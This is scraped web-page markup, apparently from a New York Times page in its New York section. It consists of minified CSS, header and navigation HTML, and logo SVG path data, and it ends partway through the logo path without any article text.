.css-1g7m0tk:hover,.css-exrw3m .css-1g7m0tk:focus{-webkit-text-decoration:none;text-decoration:none;}@media (min-width:740px){.css-exrw3m{font-size:1.25rem;line-height:1.875rem;}}.css-exrw3m:first-child{margin-top:0;}.css-exrw3m:last-child{margin-bottom:0;}.css-exrw3m.e1h9rw200:last-child{margin-bottom:0.75rem;}@media (min-width:600px){.css-exrw3m{margin-left:auto;margin-right:auto;}}@media (min-width:1024px){.css-exrw3m{margin-left:0;margin-right:0;width:100%;max-width:100%;}}@media print{.css-exrw3m{margin-left:0;margin-right:0;width:100%;max-width:100%;}}.css-1a48zt4{opacity:1;-webkit-transition:opacity 0.3s 0.2s;transition:opacity 0.3s 0.2s;}.css-vuqh7u{display:inline-block;color:#888;font-family:nyt-imperial,georgia,'times new roman',times,serif;line-height:1.125rem;-webkit-letter-spacing:0.01em;-moz-letter-spacing:0.01em;-ms-letter-spacing:0.01em;letter-spacing:0.01em;font-size:0.75rem;}@media (min-width:740px){.css-vuqh7u{font-size:0.75rem;}}@media (min-width:1150px){.css-vuqh7u{font-size:0.8125rem;}}.css-1l44abu{font-family:nyt-imperial,georgia,'times new roman',times,serif;color:#666;margin:10px 20px 0 20px;text-align:left;}.css-1l44abu a{color:#326891;-webkit-text-decoration:none;text-decoration:none;}.css-1l44abu a:hover,.css-1l44abu a:focus{-webkit-text-decoration:underline;text-decoration:underline;}@media (min-width:600px){.css-1l44abu{margin-left:0;margin-right:20px;}}@media (min-width:1440px){.css-1l44abu{max-width:px;}}.css-jcw7oy{width:100%;max-width:600px;margin:2.3125rem auto;}@media (min-width:600px){.css-jcw7oy{width:calc(100% - 40px);}}@media (min-width:740px){.css-jcw7oy{width:auto;max-width:600px;}}@media (min-width:1440px){.css-jcw7oy{max-width:720px;}}.css-jcw7oy strong{font-weight:700;}.css-jcw7oy em{font-style:italic;}@media (min-width:740px){.css-jcw7oy{margin:2.6875rem auto;}}.css-10raysz{color:#999;display:inline;margin-right:16px;padding:10px 0;width:100%;width:calc(100% - 40px);max-width:600px;padding:0 1rem 0 0;}.css-10raysz a{-webkit-text-decoration:none;text-decoration:none;}@media (max-width:659px){.css-10raysz:nth-of-type(3),.css-10raysz:nth-of-type(4){display:none;}}.css-10raysz:last-of-type{margin-right:0;}.css-10raysz:nth-of-type(1),.css-10raysz:nth-of-type(2),.css-10raysz:nth-of-type(3),.css-10raysz:nth-of-type(4){display:inline;}@media (min-width:600px){.css-10raysz{width:330px;}}.css-ar1l6a{color:#999;display:inline;margin-right:16px;padding:10px 0;width:100%;}.css-ar1l6a a{-webkit-text-decoration:none;text-decoration:none;}@media (max-width:659px){.css-ar1l6a:nth-of-type(3),.css-ar1l6a:nth-of-type(4){display:none;}}.css-ar1l6a:last-of-type{margin-right:0;}.css-ar1l6a:nth-of-type(1),.css-ar1l6a:nth-of-type(2),.css-ar1l6a:nth-of-type(3),.css-ar1l6a:nth-of-type(4){display:inline;}.css-1ede5it{background-color:#f7f7f7;border-bottom:1px solid #f3f3f3;border-top:1px solid #f3f3f3;margin:37px auto;padding-bottom:30px;padding-top:12px;text-align:center;margin-top:60px;}@media (min-width:740px){.css-1ede5it{margin:43px auto;}}@media print{.css-1ede5it{display:none;}}@media (min-width:740px){.css-1ede5it{margin-bottom:0;margin-top:0;}}.css-mn5hq9{cursor:pointer;margin:0;border-top:1px solid #ebebeb;color:#333;font-family:nyt-franklin;font-size:13px;font-weight:700;height:44px;-webkit-letter-spacing:0.04rem;-moz-letter-spacing:0.04rem;-ms-letter-spacing:0.04rem;letter-spacing:0.04rem;line-height:44px;text-transform:uppercase;}.accordionExpanded .css-mn5hq9{color:#b3b3b3;}.css-1qmnftd{font-size:11px;text-align:center;}@media (max-width:600px){.css-1qmnftd{padding-bottom:25px;}}@media (min-width:600px){.css-1qmnftd{padding-bottom:25px;}}@media (min-width:1024px){.css-1qmnftd{padding:0 3% 9px;}}@media (min-width:1150px){.css-1qmnftd{margin:0 auto;max-width:1200px;}}.NYTApp .css-1qmnftd{display:none;}@media print{.css-1qmnftd{display:none;}}.css-1ho5u4o{list-style:none;margin:0 0 15px;padding:0;}@media (min-width:600px){.css-1ho5u4o{display:inline-block;}}.css-13o0c9t{list-style:none;line-height:8px;margin:0 0 35px;padding:0;}@media (min-width:600px){.css-13o0c9t{display:inline-block;}}.css-1yo489b{display:inline-block;line-height:20px;padding:0 10px;}.css-1yo489b:first-child{border-left:none;}.css-1yo489b.desktop{display:none;}@media (min-width:740px){.css-1yo489b.smartphone{display:none;}.css-1yo489b.desktop{display:inline-block;}}.css-ulr03x{opacity:1;visibility:visible;-webkit-animation-name:animation-5j8bii;animation-name:animation-5j8bii;-webkit-animation-duration:300ms;animation-duration:300ms;-webkit-animation-delay:0ms;animation-delay:0ms;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out;}@media print{.css-ulr03x{margin-bottom:15px;}}@media (min-width:1024px){.css-ulr03x{position:fixed;width:100%;top:0;left:0;z-index:200;background-color:#fff;border-bottom:none;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}}@media (min-width:1024px){.css-1bymuyk{position:relative;border-bottom:1px solid #e2e2e2;}}.css-1waixk9{background:#fff;border-bottom:1px solid #e2e2e2;height:36px;padding:8px 15px 3px;position:relative;}@media (min-width:740px){.css-1waixk9{background:#fff;padding:10px 15px 6px;}}@media (min-width:1024px){.css-1waixk9{background:transparent;border-bottom:0;padding:4px 15px 2px;}}@media print{.css-1waixk9{background:transparent;}}@media (min-width:740px){}@media (min-width:1024px){.css-1waixk9{margin:0 auto;max-width:1605px;}}.css-1f7ibof{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:space-around;-webkit-justify-content:space-around;-ms-flex-pack:space-around;justify-content:space-around;left:10px;position:absolute;}@media (min-width:1024px){}@media print{.css-1f7ibof{display:none;}}.css-l2ztic{border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;background-color:transparent;color:#000;font-size:11px;font-weight:700;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;padding:7px 9px 9px;border:0;padding:8px 9px;text-transform:uppercase;}.css-l2ztic.hidden{opacity:0;visibility:hidden;}.css-l2ztic.hidden:focus{opacity:1;}.css-l2ztic::-moz-focus-inner{padding:0;border:0;}.css-l2ztic:-moz-focusring{outline:1px dotted;}.css-l2ztic:disabled,.css-l2ztic.disabled{opacity:0.5;cursor:default;}.css-l2ztic:active,.css-l2ztic.active{background-color:#f7f7f7;}@media (min-width:740px){.css-l2ztic:hover{background-color:#f7f7f7;}}@media (min-width:1024px){.css-l2ztic{display:none;}}.css-19lv58h{border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;-webkit-appearance:button;-moz-appearance:button;appearance:button;background-color:#fff;border:1px solid #ebebeb;color:#333;display:inline-block;font-size:11px;font-weight:500;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;line-height:13px;margin:0;padding:8px 9px;text-transform:uppercase;vertical-align:middle;display:none;}.css-19lv58h::-moz-focus-inner{padding:0;border:0;}.css-19lv58h:-moz-focusring{outline:1px dotted;}.css-19lv58h:disabled,.css-19lv58h.disabled{opacity:0.5;cursor:default;}.css-19lv58h:active,.css-19lv58h.active{background-color:#f7f7f7;}@media (min-width:740px){.css-19lv58h:hover{background-color:#f7f7f7;}}@media (min-width:1024px){.css-19lv58h{border:0;display:inline-block;margin-right:8px;}}.css-mgtjo2{border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;background-color:transparent;color:#000;font-size:11px;font-weight:700;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;padding:7px 9px 9px;border:0;}.css-mgtjo2::-moz-focus-inner{padding:0;border:0;}.css-mgtjo2:-moz-focusring{outline:1px dotted;}.css-mgtjo2:disabled,.css-mgtjo2.disabled{opacity:0.5;cursor:default;}.css-mgtjo2:active,.css-mgtjo2.active{background-color:#f7f7f7;}@media (min-width:740px){.css-mgtjo2:hover{background-color:#f7f7f7;}}.css-mgtjo2.activeSearchButton{background-color:#f7f7f7;}@media (min-width:1024px){.css-mgtjo2{padding:8px 9px 9px;}}.css-1wr3we4{display:none;}@media (min-width:1024px){.css-1wr3we4{display:block;position:absolute;left:105px;line-height:19px;top:10px;}}.css-y3sf94{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:space-around;-webkit-justify-content:space-around;-ms-flex-pack:space-around;justify-content:space-around;position:absolute;right:10px;top:9px;}@media (min-width:1024px){.css-y3sf94{top:4px;}}@media print{.css-y3sf94{display:none;}}.css-1bnxwmn{border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;background-color:#6288a5;border:1px solid #326891;color:#fff;font-size:11px;font-weight:700;-webkit-letter-spacing:0.05em;-moz-letter-spacing:0.05em;-ms-letter-spacing:0.05em;letter-spacing:0.05em;line-height:11px;padding:8px 9px 6px;text-transform:uppercase;}.css-1bnxwmn::-moz-focus-inner{padding:0;border:0;}.css-1bnxwmn:-moz-focusring{outline:1px dotted;}.css-1bnxwmn:disabled,.css-1bnxwmn.disabled{opacity:0.5;cursor:default;}@media (min-width:740px){.css-1bnxwmn:hover{background-color:#326891;}}@media (min-width:1024px){.css-1bnxwmn{padding:11px 12px 8px;}}.css-1bnxwmn:hover{border:1px solid #326891;}.css-1i8g3m4{border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;background-color:transparent;color:#000;font-size:11px;font-weight:700;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;padding:7px 9px 9px;border:0;display:block;}.css-1i8g3m4.hidden{opacity:0;visibility:hidden;}.css-1i8g3m4.hidden:focus{opacity:1;}.css-1i8g3m4::-moz-focus-inner{padding:0;border:0;}.css-1i8g3m4:-moz-focusring{outline:1px dotted;}.css-1i8g3m4:disabled,.css-1i8g3m4.disabled{opacity:0.5;cursor:default;}.css-1i8g3m4:active,.css-1i8g3m4.active{background-color:#f7f7f7;}@media (min-width:740px){.css-1i8g3m4:hover{background-color:#f7f7f7;}}@media (min-width:740px){.css-1i8g3m4{border:none;line-height:13px;padding:9px 9px 12px;}}@media (min-width:1024px){.css-1i8g3m4{display:none;}}@media (min-width:1150px){}.css-3qijnq{-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:11px;-webkit-box-pack:space-around;-webkit-justify-content:space-around;-ms-flex-pack:space-around;justify-content:space-around;padding:13px 20px 12px;}@media (min-width:740px){.css-3qijnq{position:relative;}}@media (min-width:1024px){.css-3qijnq{-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;border:none;padding:0;height:0;-webkit-transform:translateY(42px);-ms-transform:translateY(42px);transform:translateY(42px);}}@media print{.css-3qijnq{display:none;}}.css-uqyvli{color:#121212;font-size:13px;font-family:nyt-franklin,helvetica,arial,sans-serif;display:none;width:auto;}@media (min-width:740px){.css-uqyvli{text-align:center;width:100%;}}@media (min-width:1024px){.css-uqyvli{font-size:12px;margin-bottom:10px;width:auto;}}.css-1uqjmks{color:#121212;font-size:12px;font-family:nyt-franklin,helvetica,arial,sans-serif;font-weight:500;display:none;}@media (min-width:740px){.css-1uqjmks{margin:0;position:absolute;left:20px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;top:0;bottom:0;}}@media (min-width:1024px){.css-1uqjmks{display:none;}}.css-1bvtpon{display:none;}@media (min-width:1024px){}.css-1vxca1d{position:relative;margin:0 auto;}@media (min-width:600px){.css-1vxca1d{margin:0 auto 20px;}}.css-1vxca1d .relatedcoverage + .recirculation{margin-top:20px;}.css-1vxca1d .wrap + .recirculation{margin-top:20px;}@media (min-width:1024px){.css-1vxca1d{padding-top:40px;}}.css-1ox9jel{margin:37px auto;margin-top:20px;margin-bottom:32px;}.css-1ox9jel strong{font-weight:700;}.css-1ox9jel em{font-style:italic;}.css-1ox9jel.sizeSmall{width:calc(100% - 40px);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;}@media (min-width:600px){.css-1ox9jel.sizeSmall{max-width:600px;margin-left:auto;margin-right:auto;}}@media (min-width:1024px){.css-1ox9jel.sizeSmall{width:100%;}}@media (min-width:1440px){.css-1ox9jel.sizeSmall{max-width:600px;}}.css-1ox9jel.sizeSmall.sizeSmallNoCaption{display:block;}@media print{.css-1ox9jel.sizeSmall.sizeSmallNoCaption{display:none;}}.css-1ox9jel.sizeMedium{width:100%;max-width:600px;margin-right:auto;margin-left:auto;}@media (min-width:600px){.css-1ox9jel.sizeMedium{width:calc(100% - 40px);}}@media (min-width:740px){.css-1ox9jel.sizeMedium{max-width:600px;}}@media (min-width:1440px){.css-1ox9jel.sizeMedium{max-width:720px;}}@media (min-width:600px){.css-1ox9jel.sizeMedium.layoutVertical{width:420px;}}@media (min-width:1440px){.css-1ox9jel.sizeMedium.layoutVertical{width:480px;}}.css-1ox9jel.sizeMedium.layoutVertical.verticalVideo{width:calc(100% - 40px);}@media (min-width:600px){.css-1ox9jel.sizeMedium.layoutVertical.verticalVideo{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:600px;}}@media (min-width:1440px){.css-1ox9jel.sizeMedium.layoutVertical.verticalVideo{width:600px;}}.css-1ox9jel.sizeLarge{width:100%;max-width:1200px;margin-left:auto;margin-right:auto;}@media (min-width:600px){.css-1ox9jel.sizeLarge{width:auto;}}@media (min-width:740px){.css-1ox9jel.sizeLarge.layoutVertical{width:600px;}.css-1ox9jel.sizeLarge.layoutVertical.verticalVideo{width:600px;}}@media (min-width:1024px){.css-1ox9jel.sizeLarge{width:945px;}}@media (min-width:1440px){.css-1ox9jel.sizeLarge{width:1200px;}.css-1ox9jel.sizeLarge.layoutVertical{width:720px;}.css-1ox9jel.sizeLarge.layoutVertical.verticalVideo{width:600px;}}@media (min-width:600px){.css-1ox9jel{margin:43px auto;}}@media print{.css-1ox9jel{display:none;}}@media (min-width:740px){.css-1ox9jel{margin-top:25px;}}.css-1riqqik{display:inline;color:#333;}.css-1riqqik span{-webkit-text-decoration:underline;text-decoration:underline;-webkit-text-decoration-color:#ccc;text-decoration-color:#ccc;}.css-1riqqik span:hover,.css-1riqqik span:focus{-webkit-text-decoration:none;text-decoration:none;}.css-2fg4z9{font-style:italic;}.css-11n4cex{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-bottom:15px;margin-top:4px;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;}@media (min-width:600px){.css-11n4cex{margin-left:auto;margin-right:auto;}}@media (min-width:740px){.css-11n4cex{width:600px;}}.css-11n4cex .e6idgb70{font-size:14px;margin:0;}.css-1ifw933{font-style:normal;font-stretch:normal;margin-bottom:1.6rem;color:#333;font-family:nyt-cheltenham,georgia,'times new roman',times,serif;font-weight:300;-webkit-letter-spacing:0.005em;-moz-letter-spacing:0.005em;-ms-letter-spacing:0.005em;letter-spacing:0.005em;font-size:1.3125rem;line-height:1.6875rem;}@media (min-width:740px){.css-1ifw933{font-size:1.5rem;line-height:1.9375rem;}}.css-1rjmmt7{width:50px;vertical-align:bottom;margin-right:10px;}.css-rqb9bm{font-family:nyt-franklin,helvetica,arial,sans-serif;font-weight:500;color:#333;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;font-size:0.875rem;line-height:1.125rem;margin-bottom:1rem;}.css-19hdyf3{font-family:nyt-franklin,helvetica,arial,sans-serif;color:#333;font-size:0.9375rem;line-height:1.25rem;font-family:nyt-franklin,helvetica,arial,sans-serif;color:#333;font-size:0.9375rem;line-height:1.25rem;}.css-19hdyf3 p{margin-bottom:0.75rem;}.css-19hdyf3 a,.css-19hdyf3 a:visited{color:#326891;-webkit-text-decoration:underline;text-decoration:underline;}.css-19hdyf3 a:hover,.css-19hdyf3 a:focus{color:#326891;-webkit-text-decoration:none;text-decoration:none;}@media print{.css-19hdyf3{margin-left:0;margin-right:0;width:100%;max-width:100%;}}@media (min-width:740px){.css-19hdyf3{font-size:1rem;line-height:1.375rem;}}.css-19hdyf3 p{margin-bottom:0.75rem;}.css-19hdyf3 a,.css-19hdyf3 a:visited{color:#326891;-webkit-text-decoration:underline;text-decoration:underline;}.css-19hdyf3 a:hover,.css-19hdyf3 a:focus{color:#326891;-webkit-text-decoration:none;text-decoration:none;}@media print{.css-19hdyf3{margin-left:0;margin-right:0;width:100%;max-width:100%;}}.css-15g2oxy{margin-top:1rem;}.css-2b3w4o{margin-bottom:1rem;}.css-2b3w4o .e16638kd0{margin-top:5px;margin-bottom:0;display:inline-block;color:#999;font-size:0.75rem;line-height:1.0625rem;}.css-2b3w4o:hover .e16ij5yr2,.css-2b3w4o:visited .e16ij5yr2{color:#666;}.css-2b3w4o .css-1g7m0tk{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;min-height:100px;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}.css-14b9hti{font-weight:500;color:#a19d9d;font-family:nyt-cheltenham,georgia,'times new roman',times,serif;font-size:1.125rem;line-height:1.375rem;}@media (min-width:740px){.css-14b9hti{font-size:1.1875rem;line-height:1.4375rem;}}.css-1j8dw05{margin-right:10px;display:inline;font-weight:500;color:#121212;font-family:nyt-cheltenham,georgia,'times new roman',times,serif;font-size:1.125rem;line-height:1.375rem;}@media (min-width:740px){.css-1j8dw05{font-size:1.1875rem;line-height:1.4375rem;}}.css-1vm5oi9{margin-left:10px;width:120px;min-width:120px;}@media (min-width:740px){.css-1vm5oi9{width:165px;min-width:165px;}}.css-32rbo2{width:100%;min-width:120px;}.css-llk6mt{margin-top:5px;}@media (min-width:740px){.css-llk6mt{margin-top:45px;margin-bottom:0;}}.css-llk6mt .e6idgb70{margin-top:1.875rem;color:#121212;font-weight:700;line-height:0.75rem;margin-bottom:0.625rem;}@media print{.css-llk6mt .e6idgb70{margin-left:0;margin-right:0;width:100%;max-width:100%;}}.css-llk6mt .e1h9rw200{margin-bottom:16px;margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;margin-top:0;}@media (min-width:600px){.css-llk6mt .e1h9rw200{margin-left:auto;margin-right:auto;}}@media (min-width:740px){.css-llk6mt .e1h9rw200{width:600px;}}@media (min-width:740px){.css-llk6mt .e1h9rw200{max-width:none;margin-left:calc((100% - 600px) / 2);margin-right:auto;position:relative;width:660px;}}.css-llk6mt .euiyums3 .e6idgb70{margin:0;}.css-llk6mt .e1wiw3jv0{color:#333;margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;}@media (min-width:600px){.css-llk6mt .e1wiw3jv0{margin-left:auto;margin-right:auto;}}@media (min-width:740px){.css-llk6mt .e1wiw3jv0{width:600px;}}.css-llk6mt .e16638kd0{width:auto;margin-bottom:0;margin-left:0;display:inline-block;margin-top:0;margin-bottom:0;width:auto;}.css-llk6mt .eatfx1z0{margin-right:15px;font-weight:700;font-size:14px;line-height:1;}.css-llk6mt .section-kicker .opinion-bar{font-size:25px;}.css-llk6mt .epjyd6m0{margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;}@media (min-width:600px){.css-llk6mt .epjyd6m0{margin-left:auto;margin-right:auto;}}@media (min-width:740px){.css-llk6mt .epjyd6m0{width:600px;}}.css-llk6mt .e1g7ppur0{margin-bottom:32px;margin-top:20px;}@media (min-width:740px){.css-llk6mt .e1g7ppur0{margin-top:25px;}}@media (min-width:1024px){.css-llk6mt .e1g7ppur0{margin-bottom:43px;}}.css-llk6mt .e1q76eii0{margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;max-width:600px;}@media (min-width:600px){.css-llk6mt .e1q76eii0{margin-left:auto;margin-right:auto;}}@media (min-width:740px){.css-llk6mt .e1q76eii0{width:600px;}}.css-llk6mt .euiyums1{margin-bottom:20px;color:#121212;}@media print{.css-llk6mt .euiyums1{margin-left:0;margin-right:0;width:100%;max-width:100%;}}.css-1s4ffep{color:#121212;font-family:nyt-cheltenham,georgia,'times new roman',times,serif;font-weight:700;font-style:italic;font-size:1.9375rem;line-height:2.25rem;text-align:left;}@media (min-width:740px){.css-1s4ffep{font-size:2.5rem;line-height:3rem;}}.css-pdw9fk{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin-bottom:15px;width:100%;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;}@media (min-width:1024px){.css-pdw9fk{-webkit-flex-wrap:nowrap;-ms-flex-wrap:nowrap;flex-wrap:nowrap;}}.css-pdw9fk > img,.css-pdw9fk a > img,.css-pdw9fk div > img{margin-right:10px;}.css-1txwxcy{min-width:100px;display:block;width:100%;margin-bottom:10px;margin-left:-3px;}@media (min-width:1024px){.css-1txwxcy{display:inline-block;width:auto;margin-bottom:0;}}.css-1soubk3{margin:0.5rem 0 1.5rem;padding-top:1rem;width:calc(100% - 40px);max-width:600px;margin-left:20px;margin-right:20px;}.css-1soubk3:before{content:'';display:block;width:100%;margin-bottom:0.5rem;border-bottom:1px solid #e2e2e2;}.css-1soubk3:after{content:'';display:block;width:100%;margin-top:0.5rem;border-bottom:1px solid #e2e2e2;}.css-1soubk3 .e16ij5yr6{border-top:none;}@media (min-width:600px){.css-1soubk3{margin-left:auto;margin-right:auto;}}@media (min-width:1024px){.css-1soubk3{width:600px;}}@media (min-width:1440px){.css-1soubk3{width:600px;max-width:600px;}}@media print{.css-1soubk3{margin-left:0;margin-right:0;width:100%;max-width:100%;}}</style>
+
+
+
+ <style>[data-timezone] { display: none }</style>
+
+ </head>
+ <body>
+ <div id="app"><div class="css-v89234" role="main"><div class=""><div><div class="css-ulr03x e1suatyy0"><header class="css-1bymuyk e1suatyy1"><section class="css-1waixk9 e1suatyy2"><div class="css-1f7ibof er09x8g0"><div class="css-6n7j50"><button aria-haspopup="true" aria-expanded="false" aria-label="Sections Navigation &amp; Search" class="er09x8g1 css-l2ztic" data-testid="nav-button"><svg class="css-1fe7a5q" viewBox="0 0 16 16"><rect x="1" y="3" fill="#333333" width="14" height="2"></rect><rect x="1" y="7" fill="#333333" width="14" height="2"></rect><rect x="1" y="11" fill="#333333" width="14" height="2"></rect></svg></button></div><button id="desktop-sections-button" aria-label="Sections Navigation" class="css-19lv58h er09x8g2"><span class="css-vz7hjd">Sections</span><svg class="css-1fe7a5q" viewBox="0 0 16 16"><rect x="1" y="3" fill="#333333" width="14" height="2"></rect><rect x="1" y="7" fill="#333333" width="14" height="2"></rect><rect x="1" y="11" fill="#333333" width="14" height="2"></rect></svg></button><div class="css-10488qs"><button class="css-mgtjo2 ewfai8r0" data-test-id="search-button"><span class="css-vz7hjd">SEARCH</span><svg class="css-1fe7a5q" viewBox="0 0 16 16"><path fill="#333" d="M11.3,9.2C11.7,8.4,12,7.5,12,6.5C12,3.5,9.5,1,6.5,1S1,3.5,1,6.5S3.5,12,6.5,12c1,0,1.9-0.3,2.7-0.7l3.3,3.3c0.3,0.3,0.7,0.4,1.1,0.4s0.8-0.1,1.1-0.4c0.6-0.6,0.6-1.5,0-2.1L11.3,9.2zM6.5,10.3c-2.1,0-3.8-1.7-3.8-3.8c0-2.1,1.7-3.8,3.8-3.8c2.1,0,3.8,1.7,3.8,3.8C10.3,8.6,8.6,10.3,6.5,10.3z"></path></svg></button></div><a class="css-1rn5q1r" href="#site-content">Skip to content</a><a class="css-1rn5q1r" href="#site-index">Skip to site index</a></div><div class="css-1wr3we4 eaxe0e00"><a href="https://www.nytimes.com/section/nyregion" class="css-nuvmzp">New York</a></div><div class="css-10698na e1huz5gh0"><a aria-label="New York Times Logo. Click to visit the homepage" class="css-nhjhh0 e1huz5gh1" href="/"><svg xmlns="http://www.w3.org/2000/svg" class="" viewBox="0 0 184 25" fill="#000"><path d="M13.8 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8C6.2 1.4 5 1 4 1 2 1 .6 2.5.6 4.2c0 1.5 1.1 2 1.5 2.2l.1-.2c-.2-.2-.5-.4-.5-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8v3.1L9 10.2v.1l1.5 1.3v4.3c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2C3.6 6.9 4.7 6 5.8 5.4l-.1-.3c-3 .8-5.7 3.6-5.7 7 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1l-1.6-1.3V5.8c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7 0-1.5.2-2.1l2.1-.9v6.2zm10.6 2.3l-1.3 1 .2.2.6-.5 2.2 2 3-2-.1-.2-.8.5-1-1V9.4l.8-.6 1.7 1.4v6.1c0 3.8-.8 4.4-2.5 5v.3c2.8.1 5.4-.8 5.4-5.7V9.3l.9-.7-.2-.2-.8.6-2.5-2.1L18.5 9V.8h-.2l-3.5 2.4v.2c.4.2 1 .4 1 1.5l-.1 11.3zM34 15.1L31.5 17 29 15v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM53.1 2c0-.3-.1-.6-.2-.9h-.2c-.3.8-.7 1.2-1.7 1.2-.9 0-1.5-.5-1.9-.9l-2.9 3.3.2.2 1-.9c.6.5 1.1.9 2.5 1v8.3L44 3.2c-.5-.8-1.2-1.9-2.6-1.9-1.6 0-3 1.4-2.8 3.6h.3c.1-.6.4-1.3 1.1-1.3.5 0 1 .5 1.3 1v3.3c-1.8 0-3 .8-3 2.3 0 .8.4 2 1.6 2.3v-.2c-.2-.2-.3-.4-.3-.7 0-.5.4-.9 1.1-.9h.5v4.2c-2.1 0-3.8 1.2-3.8 3.2 0 1.9 1.6 2.8 3.4 2.7v-.2c-1.1-.1-1.6-.6-1.6-1.3 0-.9.6-1.3 1.4-1.3.8 0 1.5.5 2 1.1l2.9-3.2-.2-.2-.7.8c-1.1-1-1.7-1.3-3-1.5V5l8 14h.6V5c1.5-.1 2.9-1.3 2.9-3zm7.3 13.1L57.9 17l-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM76.7 8l-.7.5-1.9-1.6-2.2 2 .9.9v7.5l-2.4-1.5V9.6l.8-.5-2.3-2.2-2.2 2 .9.9V17l-.3.2-2.1-1.5v-6c0-1.4-.7-1.8-1.5-2.3-.7-.5-1.1-.8-1.1-1.5 0-.6.6-.9.9-1.1v-.2c-.8 0-2.9.8-2.9 2.7 0 1 .5 1.4 1 1.9s1 .9 1 1.8v5.8l-1.1.8.2.2 1-.8 2.3 2 2.5-1.7 2.8 1.7 5.3-3.1V9.2l1.3-1-.2-.2zm18.6-5.5l-1 .9-2.2-2-3.3 2.4V1.6h-.3l.1 16.2c-.3 0-1.2-.2-1.9-.4l-.2-13.5c0-1-.7-2.4-2.5-2.4s-3 1.4-3 2.8h.3c.1-.6.4-1.1 1-1.1s1.1.4 1.1 1.7v3.9c-1.8.1-2.9 1.1-2.9 2.4 0 .8.4 2 1.6 2V13c-.4-.2-.5-.5-.5-.7 0-.6.5-.8 1.3-.8h.4v6.2c-1.5.5-2.1 1.6-2.1 2.8 0 1.7 1.3 2.9 3.3 2.9 1.4 0 2.6-.2 3.8-.5 1-.2 2.3-.5 2.9-.5.8 0 1.1.4 1.1.9 0 .7-.3 1-.7 1.1v.2c1.6-.3 2.6-1.3 2.6-2.8s-1.5-2.4-3.1-2.4c-.8 0-2.5.3-3.7.5-1.4.3-2.8.5-3.2.5-.7 0-1.5-.3-1.5-1.3 0-.8.7-1.5 2.4-1.5.9 0 2 .1 3.1.4 1.2.3 2.3.6 3.3.6 1.5 0 2.8-.5 2.8-2.6V3.7l1.2-1-.2-.2zm-4.1 6.1c-.3.3-.7.6-1.2.6s-1-.3-1.2-.6V4.2l1-.7 1.4 1.3v3.8zm0 3c-.2-.2-.7-.5-1.2-.5s-1 .3-1.2.5V9c.2.2.7.5 1.2.5s1-.3 1.2-.5v2.6zm0 4.7c0 .8-.5 1.6-1.6 1.6h-.8V12c.2-.2.7-.5 1.2-.5s.9.3 1.2.5v4.3zm13.7-7.1l-3.2-2.3-4.9 2.8v6.5l-1 .8.1.2.8-.6 3.2 2.4 5-3V9.2zm-5.4 6.3V8.3l2.5 1.8v7.1l-2.5-1.7zm14.9-8.4h-.2c-.3.2-.6.4-.9.4-.4 